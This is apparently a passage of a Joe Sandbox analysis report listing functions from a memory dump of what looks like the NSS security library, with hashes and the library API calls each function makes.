Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 9a929109147151566576da02a6613a0cac64ff11819a77bd0f532c7b6a1e8a47
Instruction ID: 16cc22018b086d0a58b59f5c34d699d1f103f7ddeb1893c119f4899306402b74
Opcode Fuzzy Hash: 9a929109147151566576da02a6613a0cac64ff11819a77bd0f532c7b6a1e8a47
Instruction Fuzzy Hash: 543146B0A04616CFDB00EF68D48466ABBF4FF09308B148969D999D7701E731E895CBD2

Function 6CC44590 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6CC4473B,00000000,?,6CC37A4F,?), ref: 6CC4459B

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

TlsGetValue.KERNEL32(?,?,6CC4473B,00000000,?,6CC37A4F,?), ref: 6CC445BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC4473B,00000000,?,6CC37A4F,?), ref: 6CC445D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CC4473B,00000000,?,6CC37A4F,?), ref: 6CC445E8

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID:
API String ID: 2963671366-0
Opcode ID: d7bc5edbec172b046d4b22e9403c6aeace7fe815ff11aa336c7ca9f1a59373b5
Instruction ID: d8e4f7a4e8d5a6adbea1a56195b29fe5f26fed12f6c325f7df72a4cc72e7884e
Opcode Fuzzy Hash: d7bc5edbec172b046d4b22e9403c6aeace7fe815ff11aa336c7ca9f1a59373b5
Instruction Fuzzy Hash: 9B21C5B0A00206AFEB00AF69DC445AABBB8FF49319F10C539D948D7B11F731E568CB91

Function 6CC62DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC62E08

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CC62E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CC62E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC62E95

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 25bce434ae78c300f5308e54eabe290c9f50ee2821a4ab400213e8e941dadce4
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D52108B1D107454BE700CF569E98BAB3764AFA134DF110279DD085BB42F7B1E6A8C392

Function 6CC1ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC1ACC2

Part of subcall function 6CBF2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CBF2F0A
Part of subcall function 6CBF2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CBF2F1D

Part of subcall function 6CBF2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CBF0A1B,00000000), ref: 6CBF2AF0
Part of subcall function 6CBF2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC1AD5E

Part of subcall function 6CC357D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CBFB41E,00000000,00000000,?,00000000,?,6CBFB41E,00000000,00000000,00000001,?), ref: 6CC357E0
Part of subcall function 6CC357D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC35843

CERT_DestroyCertList.NSS3(?), ref: 6CC1AD36

Part of subcall function 6CBF2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CBF2F65
Part of subcall function 6CBF2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF2F83

free.MOZGLUE(?), ref: 6CC1AD4F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: e4cc7aa9715d91e4aab9c6fdd9e08a174aec345171f97bd003fdabe3ceec20e4
Instruction ID: a7088e1012904777c55eb88b6c34cd4acc2897b8446dcf19c4c55402e78dd249
Opcode Fuzzy Hash: e4cc7aa9715d91e4aab9c6fdd9e08a174aec345171f97bd003fdabe3ceec20e4
Instruction Fuzzy Hash: AA21C6B1D102548BEB10EF66D8055EEB7B4AF45358F054068D81877B10FB31AA5ECBE2

Function 6CC324E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC324FF
EnterCriticalSection.KERNEL32(?), ref: 6CC3250F
PR_Unlock.NSS3(?), ref: 6CC3253C
PR_SetError.NSS3(00000000,00000000), ref: 6CC32554

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 416174530f1c9c5b2edb7d3be703978f411ebbeb42a1dee05045e56daaba5869
Instruction ID: 5bae5b9efc28e2bbb01de0bb96c3933bc848bf794f969c8d477c923ae4d8e6df
Opcode Fuzzy Hash: 416174530f1c9c5b2edb7d3be703978f411ebbeb42a1dee05045e56daaba5869
Instruction Fuzzy Hash: FB11E971A001146FEF00AF68EC559AB7B7CEF49228B554124ED0997701F731E954C7E2

Function 6CC4ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CC4F0AD,6CC4F150,?,6CC4F150,?,?,?), ref: 6CC4ECBA

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CC4ECD1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CC4ED02

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CC4ED5A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a1a0428a235d2c3d7772a88f980904a02de071c43e93f4af4d16bc9be5745834
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FE2162B19007425BE700CF25D944B52B7E4BFE5348F16C259E81C87661F770E5A4C7D5

Function 6CC7EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EE14

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(?,?,6CC69767,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EE33

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 6233e5f976dcfc6afc52a11529da25532e9d2146b00b8f19f5cb17463c26ccfc
Instruction ID: e420789856e3b0f411036e9cb56e739fce0e0cf4bd522f75189e0845f1772b8d
Opcode Fuzzy Hash: 6233e5f976dcfc6afc52a11529da25532e9d2146b00b8f19f5cb17463c26ccfc
Instruction Fuzzy Hash: F91173B2A00706AFE7209E65DC85B86B3ACFB1435DF244939E91986A40F331E46487F2

Function 6CC608D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC609B3,0000001A,?), ref: 6CC608E9

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC608FD

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CC60939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC60953

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 7a45ba9baa854ffe8fe3abf60c6bea758eb5cc802bc3e6db0e12033e7fe5e024
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 30012BB16017462FFB049A379D90B67379A9F40218F00843DEC1BD5E41FB32D4148AA9

Function 6CC18DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC18DE7
EnterCriticalSection.KERNEL32 ref: 6CC18DFC
PR_Unlock.NSS3 ref: 6CC18E2D
PR_SetError.NSS3 ref: 6CC18E49

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 306dda3f08e7b7cbbb2a09439674fc25c5e8ff6ceb34165531b9935568322537
Instruction ID: 5bf3b6fa409e496055feafc38ede6faa680504b2e20e9326f38331aceeae616b
Opcode Fuzzy Hash: 306dda3f08e7b7cbbb2a09439674fc25c5e8ff6ceb34165531b9935568322537
Instruction Fuzzy Hash: DC116A75609A009BD700BF79C4886AABBF4BF05714F42496AD98897B00FB30A8948BD2

Function 6CC9AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC85F17,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC85F17,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC9ACDB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 0e0d365009c89c49de223cdc56804e5344877a112badee31a12a5dee78350c3e
Instruction ID: f2b2229df307a24c539c2ad5527bfe3052b9a679c0c4484c906d923be4e834ef
Opcode Fuzzy Hash: 0e0d365009c89c49de223cdc56804e5344877a112badee31a12a5dee78350c3e
Instruction Fuzzy Hash: 96019EB1A01B019BEB10EF29E909747B7E8BF80A99B104839D95ED7E00E731F018CB90

Function 6CC5C590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC5C5AD

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

CERT_DecodeCertPackage.NSS3(?,?,6CC5C610,?), ref: 6CC5C5C2

Part of subcall function 6CC5C0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC5C0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6CC5C5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC5C5EF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: d854bc32c3ba72fe41b9fd0111104d1e04ad0a10403df25d1040febe01ab01cf
Instruction ID: 1515fff0fee3ebf38b2869d3733689ec3de2366c81317cc5e39fbc58b93d8ca4
Opcode Fuzzy Hash: d854bc32c3ba72fe41b9fd0111104d1e04ad0a10403df25d1040febe01ab01cf
Instruction Fuzzy Hash: 990126B1E001046FEB00AF64DC06EBF7B78DF04218F854069FD15AB341F632A929C6E5

Function 6CC507B0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6

Part of subcall function 6CC488E0: TlsGetValue.KERNEL32(00000000,?,?,6CC508AA,?), ref: 6CC488F6
Part of subcall function 6CC488E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC508AA,?), ref: 6CC4890B
Part of subcall function 6CC488E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48936
Part of subcall function 6CC488E0: PR_Unlock.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48940

PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CondCriticalEnterErrorHashLookupSectionTableUnlock$ConstNotifyWait
String ID:
API String ID: 2112424139-0
Opcode ID: 4978f0801eed7c2ca492c8bd57d00c3cde7d2624a3f8d56242c5231228e0eaf0
Instruction ID: ccfc770c8f059973b6dd5a0cc54be45536c5a926b5411db69c3b594fd604b2b7
Opcode Fuzzy Hash: 4978f0801eed7c2ca492c8bd57d00c3cde7d2624a3f8d56242c5231228e0eaf0
Instruction Fuzzy Hash: 7CF0CDF6E1015027E51125657C04CAB3A7CEB937AD7C94135ED08E3F12FB21993C92E2

Function 6CC488E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CC508AA,?), ref: 6CC488F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CC508AA,?), ref: 6CC4890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48936
PR_Unlock.NSS3(?,?,?,?,?,6CC508AA,?), ref: 6CC48940

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: e86eb305e477f7aaf35ab338266763e55e0eb997aac3663a8b1dcaf18f4ce6c0
Instruction ID: 32e9b635c7d7b81b4ba5b7e1f213b1ac090bc365caa5b3eae113368cd352aaaa
Opcode Fuzzy Hash: e86eb305e477f7aaf35ab338266763e55e0eb997aac3663a8b1dcaf18f4ce6c0
Instruction Fuzzy Hash: DE015675604A459FDB00AF79C084659B7F8FF19398F058A6ADA84C7B01F730E494CBD2

